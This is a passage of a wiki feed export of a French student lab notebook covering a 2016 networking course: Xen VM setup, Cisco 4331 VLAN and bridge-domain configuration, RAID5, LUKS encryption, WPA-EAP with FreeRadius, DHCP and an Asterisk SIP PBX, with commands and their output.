;; OPT PSEUDOSECTION:&lt;br /&gt;
; EDNS: version: 0, flags:; udp: 4096&lt;br /&gt;
;; QUESTION SECTION:&lt;br /&gt;
;speedflash.space.        IN    DNSKEY&lt;br /&gt;
&lt;br /&gt;
;; ANSWER SECTION:&lt;br /&gt;
speedflash.space.    604800    IN    DNSKEY    257 3 5 AwEAAaJcjim9pdD8U6InsiCNFzJthDwsiwGgPylxRp5nDuoaGrcDp1LU psBv0iY0VUqzcC+uRhTTfjl6P3yuPsnZYefVlSEeRpn9QR33Hioadbhc aFSuYnfwS/L/R6Kwt2XFz5V/fI/j+M2AtGxhBFgVKtmjvnwEr2VfdkFl d9AZJQu09ajWCJIKeL2dRE5bPbXwkDilgkQkBZUVWtXN7qwnrFnlszpb gSdRKosfhScAUmTerxOV6WybzOYb+9D0r8QrDoIhhCpf1/gczAUzHPWd hb0rxIGHk6seMp1qTotZE3SgxrCwm7H6z4pcXeMfbdNzkrIgcJmum9i0 zsLzlghkAPM=&lt;br /&gt;
speedflash.space.    604800    IN    DNSKEY    256 3 5 AwEAAcHrx5vtsGzY7LF32x3HRIXRwOBm3WZM02NHY4s0uB2djn6tV52B ss78iXC4O5hdpJ0uOxS0/MNCYNJkIXnWsvAHc6lbdWfQ8Jvnj/aBMz94 agXbxXkseqjlIcF1huspBAi9lcY5hsy59MDek5iNlduy8HK6AVItqeQi HviShcq3&amp;lt;/pre&amp;gt;&lt;br /&gt;
On remarque bien la présence de DNSKEY qui nous assure que notre DNS est sécurisé.&amp;lt;br /&amp;gt;&lt;br /&gt;
====Travail réalisé la 7e séance====&lt;br /&gt;
=====Création du RAID5=====&lt;br /&gt;
On ajoute premièrement les partitions à la définition de la machine virtuelle:&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;'phy:/dev/virtual/RedFlash,xvdb,w',&lt;br /&gt;
'phy:/dev/virtual/BlackFlash,xvdc,w',&lt;br /&gt;
'phy:/dev/virtual/ReverseFlash,xvdd,w'&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite, on crée le RAID5 avec les 3 partitions :&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;mdadm --create /dev/md0 --level=5 --raid-devices 3 /dev/xvdb /dev/xvdc /dev/xvdd&amp;lt;/pre&amp;gt;&lt;br /&gt;
On vérifie en regardant le fichier de log /proc/mdstat : &amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;root@Flash:~# cat /proc/mdstat&lt;br /&gt;
Personalities : [raid6] [raid5] [raid4]&lt;br /&gt;
md0 : active raid5 xvdd[3] xvdc[1] xvdb[0]&lt;br /&gt;
      2095104 blocks super 1.2 level 5, 512k chunk, algorithm 2 [3/2] [UU_]&lt;br /&gt;
      [=============&amp;gt;.......]  recovery = 66.0% (692512/1047552) finish=0.1min speed=30109K/sec&lt;br /&gt;
&lt;br /&gt;
unused devices: &amp;lt;none&amp;gt;&lt;br /&gt;
root@Flash:~# cat /proc/mdstat&lt;br /&gt;
Personalities : [raid6] [raid5] [raid4]&lt;br /&gt;
md0 : active raid5 xvdd[3] xvdc[1] xvdb[0]&lt;br /&gt;
      2095104 blocks super 1.2 level 5, 512k chunk, algorithm 2 [3/2] [UU_]&lt;br /&gt;
      [===============&amp;gt;.....]  recovery = 78.5% (823084/1047552) finish=0.1min speed=29395K/sec&lt;br /&gt;
&lt;br /&gt;
unused devices: &amp;lt;none&amp;gt;&lt;br /&gt;
root@Flash:~# cat /proc/mdstat&lt;br /&gt;
Personalities : [raid6] [raid5] [raid4]&lt;br /&gt;
md0 : active raid5 xvdd[3] xvdc[1] xvdb[0]&lt;br /&gt;
      2095104 blocks super 1.2 level 5, 512k chunk, algorithm 2 [3/2] [UU_]&lt;br /&gt;
      [================&amp;gt;....]  recovery = 84.2% (883700/1047552) finish=0.0min speed=29456K/sec&lt;br /&gt;
&lt;br /&gt;
unused devices: &amp;lt;none&amp;gt;&lt;br /&gt;
root@Flash:~# cat /proc/mdstat&lt;br /&gt;
Personalities : [raid6] [raid5] [raid4]&lt;br /&gt;
md0 : active raid5 xvdd[3] xvdc[1] xvdb[0]&lt;br /&gt;
      2095104 blocks super 1.2 level 5, 512k chunk, algorithm 2 [3/2] [UU_]&lt;br /&gt;
      [=================&amp;gt;...]  recovery = 87.4% (916664/1047552) finish=0.0min speed=29569K/sec&lt;br /&gt;
&lt;br /&gt;
unused devices: &amp;lt;none&amp;gt;&lt;br /&gt;
root@Flash:~# cat /proc/mdstat&lt;br /&gt;
Personalities : [raid6] [raid5] [raid4]&lt;br /&gt;
md0 : active raid5 xvdd[3] xvdc[1] xvdb[0]&lt;br /&gt;
      2095104 blocks super 1.2 level 5, 512k chunk, algorithm 2 [3/2] [UU_]&lt;br /&gt;
      [==================&amp;gt;..]  recovery = 93.5% (980148/1047552) finish=0.0min speed=30182K/sec&lt;br /&gt;
&lt;br /&gt;
unused devices: &amp;lt;none&amp;gt;&lt;br /&gt;
root@Flash:~# cat /proc/mdstat&lt;br /&gt;
Personalities : [raid6] [raid5] [raid4]&lt;br /&gt;
md0 : active raid5 xvdd[3] xvdc[1] xvdb[0]&lt;br /&gt;
      2095104 blocks super 1.2 level 5, 512k chunk, algorithm 2 [3/2] [UU_]&lt;br /&gt;
      [===================&amp;gt;.]  recovery = 96.6% (1012980/1047552) finish=0.0min speed=30267K/sec&lt;br /&gt;
&lt;br /&gt;
unused devices: &amp;lt;none&amp;gt;&lt;br /&gt;
root@Flash:~# cat /proc/mdstat&lt;br /&gt;
Personalities : [raid6] [raid5] [raid4]&lt;br /&gt;
md0 : active raid5 xvdd[3] xvdc[1] xvdb[0]&lt;br /&gt;
      2095104 blocks super 1.2 level 5, 512k chunk, algorithm 2 [3/2] [UU_]&lt;br /&gt;
      [===================&amp;gt;.]  recovery = 98.1% (1029332/1047552) finish=0.0min speed=30794K/sec&lt;br /&gt;
&lt;br /&gt;
unused devices: &amp;lt;none&amp;gt;&lt;br /&gt;
root@Flash:~# cat /proc/mdstat&lt;br /&gt;
Personalities : [raid6] [raid5] [raid4]&lt;br /&gt;
md0 : active raid5 xvdd[3] xvdc[1] xvdb[0]&lt;br /&gt;
      2095104 blocks super 1.2 level 5, 512k chunk, algorithm 2 [3/2] [UU_]&lt;br /&gt;
      [===================&amp;gt;.]  recovery = 99.5% (1043028/1047552) finish=0.0min speed=30260K/sec&lt;br /&gt;
&lt;br /&gt;
unused devices: &amp;lt;none&amp;gt;&lt;br /&gt;
root@Flash:~# [ 1462.872022] md: md0: recovery done.&lt;br /&gt;
cat /proc/mdstat&lt;br /&gt;
Personalities : [raid6] [raid5] [raid4]&lt;br /&gt;
md0 : active raid5 xvdd[3] xvdc[1] xvdb[0]&lt;br /&gt;
      2095104 blocks super 1.2 level 5, 512k chunk, algorithm 2 [3/3] [UUU]&amp;lt;/pre&amp;gt;&lt;br /&gt;
Enfin, on affecte un système de fichier à notre nouveau RAID sur /dev/md0, et on le monte dans /mnt: &amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;root@Flash:~# mkfs /dev/md0&lt;br /&gt;
mke2fs 1.42.12 (29-Aug-2014)&lt;br /&gt;
Creating filesystem with 523776 4k blocks and 131072 inodes&lt;br /&gt;
Filesystem UUID: ca2b4bcd-57d3-4f12-bc49-0f7f9cb312b6&lt;br /&gt;
Superblock backups stored on blocks:&lt;br /&gt;
	32768, 98304, 163840, 229376, 294912&lt;br /&gt;
&lt;br /&gt;
Allocating group tables: done&lt;br /&gt;
Writing inode tables: done&lt;br /&gt;
Writing superblocks and filesystem accounting information: done&lt;br /&gt;
&lt;br /&gt;
root@Flash:~# mount /dev/md0 /mnt&lt;br /&gt;
[ 1486.818679] EXT4-fs (md0): mounting ext2 file system using the ext4 subsystem&lt;br /&gt;
[ 1486.878898] EXT4-fs (md0): mounted filesystem without journal. Opts: (null)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Cryptage de données=====&lt;br /&gt;
Pour crypter les données, on installe GParted et cryptsetup. Sur la SD, il ne doit y avoir qu'une seule partition. C'est ce qu'on fait grâce à GParted.&amp;lt;br /&amp;gt;&lt;br /&gt;
Ensuite, on commence le cryptage des données sur la carte SD: &amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;root@Rason:/home/pifou# cryptsetup luksFormat -c aes-xts-plain -s 512 /dev/mmcblk1p1 &lt;br /&gt;
&lt;br /&gt;
WARNING!&lt;br /&gt;
========&lt;br /&gt;
Cette action écrasera définitivement les données sur /dev/mmcblk1p1.&lt;br /&gt;
&lt;br /&gt;
Are you sure? (Type uppercase yes): YES&lt;br /&gt;
Saisissez la phrase secrète : ***************&lt;br /&gt;
Vérifiez la phrase secrète : ***************&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite, on ouvre le volume crypté et on crée un système de fichiers avec le dossier home/ :&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;root@Rason:/home/pifou# cryptsetup luksOpen /dev/mmcblk1p1 home&lt;br /&gt;
Saisissez la phrase secrète pour /dev/mmcblk1p1 : &lt;br /&gt;
root@Rason:/home/pifou# mkfs.ext4 /dev/mapper/home&lt;br /&gt;
mke2fs 1.42.12 (29-Aug-2014)&lt;br /&gt;
En train de créer un système de fichiers avec 3777792 4k blocs et 944704 i-noeuds.&lt;br /&gt;
UUID de système de fichiers=2c54cece-155f-44ed-b4a5-96b9429e7879&lt;br /&gt;
Superblocs de secours stockés sur les blocs : &lt;br /&gt;
	32768, 98304, 163840, 229376, 294912, 819200, 884736, 1605632, 2654208&lt;br /&gt;
&lt;br /&gt;
Allocation des tables de groupe : complété                        &lt;br /&gt;
Écriture des tables d'i-noeuds : complété                        &lt;br /&gt;
Création du journal (32768 blocs) : complété&lt;br /&gt;
Écriture des superblocs et de l'information de comptabilité du système de&lt;br /&gt;
fichiers : complété&amp;lt;/pre&amp;gt;&lt;br /&gt;
On monte la partition : &amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;root@Rason:/home/pifou# mount -t ext4 /dev/mapper/home /mnt/&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite, nous avons écrit dans la carte SD, et nous avons démonté la partition et fermé la partition crypté: &amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@Rason:/# umount /mnt&lt;br /&gt;
root@Rason:/# cryptsetup luksClose home&amp;lt;/pre&amp;gt;&lt;br /&gt;
====Travail réalisé la 8e séance====&lt;br /&gt;
=====Modification routeur pour prise en charge Wifi=====&lt;br /&gt;
Nous avons du modifier la configuration de notre routeur afin de prendre en compte notre borne Wifi. Nous avons donc rajouté le BDI1 avec comme adresse de routeur 10.60.1.1. &amp;lt;br /&amp;gt;&lt;br /&gt;
Ce BDI est un peu spécial, dans la mesure où il doit pouvoir avoir accès à tous les autres BDI. Les paquets qui y transitent ne doivent donc pas être taggés par le protocole DOT1Q (protocole VLAN). C'est pourquoi, dans notre configuration, nous avons ajouté la ligne '''encapsulation untagged''', pour éviter que les paquets ne soient taggés par le numéro de VLAN.&amp;lt;br /&amp;gt;&lt;br /&gt;
=====Sécurisation Wifi par WPA-EAP=====&lt;br /&gt;
Pour cette partie, nous commençons donc à installer un serveur FreeRadius sur notre VM.&amp;lt;br /&amp;gt;&lt;br /&gt;
Dans le fichier '''users''', nous ajoutons notre login et notre mot de passe qui nous serviront à nous connecter à la borne : &amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt; flash Cleartext-Password:=&amp;quot;reverse&amp;quot;&amp;lt;/pre&amp;gt;&lt;br /&gt;
Dans le fichier '''clients.conf''', nous ajoutons la configuration de la borne de la E306 :&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt; client E306 {&lt;br /&gt;
	ipaddr		= 10.60.1.2&lt;br /&gt;
	secret		= password&lt;br /&gt;
}&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite, on passe à la configuration de la borne Wifi. On se connecte en telnet via '''telnet 10.60.1.2''' : &amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;aaa authentication login eap_flash group radius_flash&lt;br /&gt;
radius-server host 193.48.57.165 auth-port 1812 acct-port 1813 key kadoc&lt;br /&gt;
aaa group server radius radius_flash&lt;br /&gt;
server 193.48.57.165 auth-port 1812 acct-port 1813&lt;br /&gt;
&lt;br /&gt;
dot11 ssid SSID_FLASH&lt;br /&gt;
vlan 6&lt;br /&gt;
authentication open eap eap_flash&lt;br /&gt;
authentication network-eap eap_flash&lt;br /&gt;
authentication key-management wpa&lt;br /&gt;
mbssid guest-mode&lt;br /&gt;
&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0&lt;br /&gt;
encryption vlan 6 mode ciphers aes-ccm tkip&lt;br /&gt;
ssid SSID_FLASH&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0.6&lt;br /&gt;
encapsulation dot1Q 6&lt;br /&gt;
no ip route-cache&lt;br /&gt;
bridge-group 6&lt;br /&gt;
bridge-group 6 subscriber-loop-control&lt;br /&gt;
bridge-group 6 spanning-disabled&lt;br /&gt;
bridge-group 6 block-unknown-source&lt;br /&gt;
no bridge-group 6 source-learning&lt;br /&gt;
no bridge-group 6 unicast-flooding &lt;br /&gt;
&lt;br /&gt;
interface GigabitEthernet0.6&lt;br /&gt;
encapsulation dot1Q 6&lt;br /&gt;
bridge-group 6&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous devons maintenant configurer l'interface wlan0 de notre eeePc pour pouvoir se connecter à la borne. Comme nous n'avons pas encore de serveur DHCP, nous devons la configurer manuellement, en prenant une adresse dans notre VLAN :&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;auto wlan0&lt;br /&gt;
iface wlan0 inet static&lt;br /&gt;
  address 10.60.6.6&lt;br /&gt;
  netmask 255.255.255.0&lt;br /&gt;
  gateway 10.60.6.1&lt;br /&gt;
  wpa-ssid SSID_FLASH&lt;br /&gt;
  wpa-key-mgmt WPA-EAP&lt;br /&gt;
  wpa-identity flash&lt;br /&gt;
  wpa-password reverse&amp;lt;/pre&amp;gt;&lt;br /&gt;
Nous pouvons lancer notre serveur FreeRadius en mode debug via '''freeradius -X'''. &amp;lt;br /&amp;gt;&lt;br /&gt;
On arrive bien à détecter notre SSID (SSID_FLASH) via un smartphone, et nous arrivons à ping notre eeePc depuis la machine virtuelle .&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;root@Flash:~# ping 10.60.6.6&lt;br /&gt;
PING 10.60.6.6 (10.60.6.6) 56(84) bytes of data.&lt;br /&gt;
64 bytes from 10.60.6.6: icmp_seq=1 ttl=63 time=8.03 ms&lt;br /&gt;
64 bytes from 10.60.6.6: icmp_seq=2 ttl=63 time=13.2 ms&lt;br /&gt;
64 bytes from 10.60.6.6: icmp_seq=3 ttl=63 time=3.42 ms&amp;lt;/pre&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
====Travail réalisé la 9e séance====&lt;br /&gt;
=====Serveur DHCP=====&lt;br /&gt;
Nous avons installé le paquet '''isc-dhcp-server'''.&amp;lt;br /&amp;gt;&lt;br /&gt;
Nous avons modifié le fichier de configuration du serveur DHCP''' /etc/dhcp/dhcpd.conf''':&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;option domain-name &amp;quot;speedflash.space&amp;quot;;&lt;br /&gt;
option domain-name-servers 193.48.57.165;&lt;br /&gt;
&lt;br /&gt;
subnet 10.60.6.0 netmask 255.255.255.0 {&lt;br /&gt;
      range 10.60.6.10 10.60.6.40;&lt;br /&gt;
      option routers 10.60.6.1;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite modifié le fichier '''/etc/default/isc-dhcp-server''' pour y ajouter wlan0 comme interface à prendre en compte.&lt;br /&gt;
Nous avons redémarré le serveur en lançant '''service isc-dhcp-server restart'''.&amp;lt;br /&amp;gt;&lt;br /&gt;
En se connectant avec un smartphone en DHCP, nous arrivons à avoir une adresse IP : &amp;lt;br /&amp;gt;&lt;br /&gt;
[[Fichier:DHCP iphone.png || center || 350px]] &amp;lt;br /&amp;gt;&lt;br /&gt;
et nous arrivons à la pinger depuis la machine virtuelle.&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;root@Flash:~# ping 10.60.6.10&lt;br /&gt;
PING 10.60.6.10 (10.60.6.10) 56(84) bytes of data.&lt;br /&gt;
64 bytes from 10.60.6.10: icmp_seq=1 ttl=63 time=81.8 ms&lt;br /&gt;
64 bytes from 10.60.6.10: icmp_seq=2 ttl=63 time=132 ms&lt;br /&gt;
64 bytes from 10.60.6.10: icmp_seq=3 ttl=63 time=69.4 ms&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====PCBX=====&lt;br /&gt;
Nous avons modifiés le fichier sip.conf :&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;[general]&lt;br /&gt;
hasvoicemail=yes&lt;br /&gt;
hassip=yes&lt;br /&gt;
hasiax=yes&lt;br /&gt;
callwaiting=yes&lt;br /&gt;
threewaycalling=yes&lt;br /&gt;
callwaitingcallerid=yes&lt;br /&gt;
transfer=yes&lt;br /&gt;
canpark=yes&lt;br /&gt;
cancallforward=yes&lt;br /&gt;
callreturn=yes&lt;br /&gt;
callgroup=1&lt;br /&gt;
pickupgroup=1&lt;br /&gt;
nat=yes&lt;br /&gt;
&lt;br /&gt;
[6001]&lt;br /&gt;
type=friend&lt;br /&gt;
host=dynamic&lt;br /&gt;
dtmfmode=rfc2833&lt;br /&gt;
disallow=all&lt;br /&gt;
allow=ulaw&lt;br /&gt;
fullname=ThomasStephane&lt;br /&gt;
username=trojSmaia&lt;br /&gt;
secret=secret&lt;br /&gt;
context=work&lt;br /&gt;
&lt;br /&gt;
[6002]&lt;br /&gt;
type=friend&lt;br /&gt;
host=dynamic&lt;br /&gt;
dtmfmode=rfc2833&lt;br /&gt;
disallow=all&lt;br /&gt;
allow=ulaw&lt;br /&gt;
fullname=ThomasStephane&lt;br /&gt;
username=smaiaTroj&lt;br /&gt;
secret=secret2&lt;br /&gt;
context=work&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Puis, nous avons modifiés le fichier /etc/asterisk/extensions.conf pour ajouter le contexte work à notre PCBX:&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;[work]&lt;br /&gt;
exten=&amp;gt;_6XXX,1,Dial(SIP/${EXTEN},20)&lt;br /&gt;
exten =&amp;gt; _6XXX,2,Hangup()&amp;lt;/pre&amp;gt;&lt;br /&gt;
Nous n'avons pas encore testé cette solution.&lt;br /&gt;
====Travail réalisé lors de la 10e séance====&lt;br /&gt;
=====Configuration PCBX=====&lt;br /&gt;
Nous avons pu tester notre configuration PCBX.&amp;lt;br /&amp;gt;&lt;br /&gt;
Nous avons installé CSipSimple sur 2 téléphones Android, et nous avons configurés les 2 comptes.&amp;lt;br /&amp;gt;&lt;br /&gt;
[[Fichier:Enregistrement_SIP.jpg|center|300px]]&lt;br /&gt;
Puis, nous avons essayés de s'appeler, la connexion s'effectue et nous pouvons discuter : &amp;lt;br /&amp;gt;&lt;br /&gt;
[[Fichier : Appel.jpg|center|300px]]&lt;br /&gt;
Et voici les logs d'Asterisk :&amp;lt;br /&amp;gt;&lt;br /&gt;
[[Fichier:Logs_SIP.jpg|center|550px]]&lt;/div&gt;</summary>
		<author><name>Smaia</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Cahier_2016_groupe_n%C2%B05&amp;diff=36018</id>
		<title>Cahier 2016 groupe n°5</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Cahier_2016_groupe_n%C2%B05&amp;diff=36018"/>
				<updated>2016-12-14T09:57:40Z</updated>
		
		<summary type="html">&lt;p&gt;Smaia : /* Configuration PCBX */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Cahier des charges ==&lt;br /&gt;
=== Présentation du travail ===&lt;br /&gt;
&lt;br /&gt;
==== Répartition du travail ====&lt;br /&gt;
&lt;br /&gt;
 {| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 1 (03/10)&lt;br /&gt;
 | Recherche sur le routeur 4331. Installation de la machine virtuelle, définition de l'architecture réseau. &lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 2 (10/10)&lt;br /&gt;
 | Création des VLAN - Bridge&lt;br /&gt;
 |- &lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 3 (13/10)&lt;br /&gt;
 | Création des VLAN - Bridge&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 4 (24/10)&lt;br /&gt;
 | Test de la configuration locale&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 5 (07/11)&lt;br /&gt;
 | Configuration OSPF - Configuration locale IPv6 - Configuration RIP - Configuration VRRP - Cassage de clé WEP&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 6 (17/11 - additionnel)&lt;br /&gt;
 | Protocole HSRP - Cassage de clé WPA - Configuration DNS - Securisation de site par SSL - Securisation de DNS par DNSSEC - LVM&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 7 (28/11)&lt;br /&gt;
 | RAID5 - Cryptage de données&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 8 (additionnel - 7-8/12/2016)&lt;br /&gt;
 | Modification configuration routeur pour prise en charge Wifi - Sécurisation Wifi par WPA-EAP&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 9 (12/12)&lt;br /&gt;
 | Configuration DHCP - PCBX&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance additionnelle (14/12/2016)&lt;br /&gt;
 | Configuration PCBX&lt;br /&gt;
 |-&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
====Travail réalisé la 1ère séance ====&lt;br /&gt;
&lt;br /&gt;
Pour cette première séance nous avons d'abord installé la machine virtuelle Xen grâce à la commande :&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
xen-create-image --hostname=Flash --ip=193.48.57.165 --netmask=255.255.255.240 gateway=193.48.57.171 &lt;br /&gt;
--dir=/usr/local/xen --mirror=http://debian.polytech-lille.fr/debian/ --dist=jessie --passwd&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ainsi, nous obtenons ce résultat:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Installation Summary&lt;br /&gt;
---------------------&lt;br /&gt;
Hostname        :  Flash&lt;br /&gt;
Distribution    :  jessie&lt;br /&gt;
MAC Address     :  00:16:3E:49:8F:E5&lt;br /&gt;
IP Address(es)  :  193.48.57.165 &lt;br /&gt;
RSA Fingerprint :  5c:89:1c:49:cf:d1:a0:a3:9b:ff:0c:d1:f7:33:82:db&lt;br /&gt;
Root Password   :  N/A&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Travail réalisé la 2e et 3e séance (2 séances) ====&lt;br /&gt;
Durant cette semaine, nous avons réalisés la configuration locale du routeur (configuration des VLANs). &amp;lt;br /&amp;gt;&lt;br /&gt;
Comme le 4331 est une nouvelle génération de routeur encore non utilisée en TP de PRA, nous devons apprendre comment l'utiliser.&amp;lt;br /&amp;gt;&lt;br /&gt;
=====Configuration générale=====&lt;br /&gt;
Communication: '''Série 9800 Bauds 8 bits sans parité sans contrôle de flux'''.&amp;lt;br /&amp;gt;&lt;br /&gt;
Lors de sa première mise en route, nous devons effectuer sa configuration générale :&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt; hostname cisco config hostname&lt;br /&gt;
 enable secret reverse &amp;lt;/pre&amp;gt;&lt;br /&gt;
Puis ensuite, nous pouvons passer à la configuration des VALNs.&lt;br /&gt;
=====Configuration des VLANs =====&lt;br /&gt;
Nous avons 12 VLANs à configurer :&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; 11 VLANs (2-11) : VLAN correspondant aux différents groupes.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; 1 VLAN (12) : VLAN des Machines virtuelles. Permet la communication entre Cordouan et les Commutateurs&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; 1 VLAN (13) : VLAN d'interconnexion. Permet la communication entre le routeur local et le routeur de l'école&amp;lt;/li&amp;gt;&amp;lt;/ul&amp;gt;&lt;br /&gt;
Sur l'interface physique du 4331, il y a 3 interfaces:&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Gi 0/0/0 : disponible en cuivre et en fibre&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Gi 0/0/1: disponible en cuivre&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Gi 0/0/2: disponible en fibre&amp;lt;/li&amp;gt;&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous devons connecter notre routeur aux 2 commutateurs 6006 prévus dans l'architecture du TP. Pour cela, il faut que les 2 commutateurs aient les mêmes informations. Pour cela, nous devons créer des '''bridge-domain'''. Des bridge-domain permettent de rassembler 2 sous interfaces de 2 interfaces différentes pour qu'elles aient la même IP. L'interface principale n'aura pas d'adresse IP, les sous interfaces non plus, l'adresse IP sera placé sur le bridge-domain.&amp;lt;br /&amp;gt;&lt;br /&gt;
Exemple: '''VLAN2 : Gi 0/0/0.2 et Gi 0/0/1.2 seront dans le même bridge-domain 2'''&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Les 4331 étant une nouvelle génération de routeur encore non testée à l'école, il fallait apprendre à s'en servir.&amp;lt;br /&amp;gt;&lt;br /&gt;
La plupart des commandes CISCO de base restent inchangées. Cependant, la création des sous interfaces a changée. Avant, nous devions créer des interfaces comme suit:&lt;br /&gt;
&amp;lt;pre&amp;gt; interface GigabitEthernet 0/0/0.X &amp;lt;/pre&amp;gt;&lt;br /&gt;
Avec le nouvel IOS (IOS ISR), nous ne pouvons pas créer des sous interfaces comme ci-dessus dans le but de les mettre dans un bridge.&lt;br /&gt;
Nous devons passer par une nouvelle commande qui s'appelle '''service instance''' :&lt;br /&gt;
&amp;lt;pre&amp;gt; int gi 0/0/0&lt;br /&gt;
 service instance &amp;lt;n°VLAN&amp;gt; ethernet &amp;lt;/pre&amp;gt;&lt;br /&gt;
Ainsi, nous avons la sous interface numéro 2 de l'interface principale 0/0/0.&amp;lt;br /&amp;gt;&lt;br /&gt;
Nous pouvons alors créer nous sous interfaces:&lt;br /&gt;
&amp;lt;pre&amp;gt; int gi0/0/0&lt;br /&gt;
  no ip address&lt;br /&gt;
  negociation auto&lt;br /&gt;
  service instance 2 ethernet&lt;br /&gt;
    encapsulation dot1q 2&lt;br /&gt;
    bridge-domain 2&lt;br /&gt;
&lt;br /&gt;
  service instance 3 ethernet&lt;br /&gt;
    encapsulation dot1q 3&lt;br /&gt;
    bridge-domain 3&lt;br /&gt;
...&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt; int gi0/0/1&lt;br /&gt;
  no ip address&lt;br /&gt;
  negociation auto&lt;br /&gt;
  service instance 2 ethernet&lt;br /&gt;
    encapsulation dot1q 2&lt;br /&gt;
    bridge-domain 2&lt;br /&gt;
...&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ainsi, nos sous interfaces sont crées et sont placés dans les différents bridge domain.&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Configuration des bridge-domain=====&lt;br /&gt;
Afin d'allouer des IP aux différents bridge domain, il faut prévenir le routeur que nous utilisons des bridge-domain:&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt; bridge irb &amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite, nous devons préciser quel protocole nous devons utiliser et si les adresses IP des bridge domain seront des adresses routées :&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt; bridge 2 protocol ieee&lt;br /&gt;
 bridge 2 route ip&amp;lt;/pre&amp;gt;&lt;br /&gt;
Enfin, nous pouvons allouer des IP aux différents bridge domain :&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;int BDI2&lt;br /&gt;
  ip address 10.60.2.1 255.255.255.0&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et nous répétons ces opérations pour tous les bridge-domain.&amp;lt;br /&amp;gt;&lt;br /&gt;
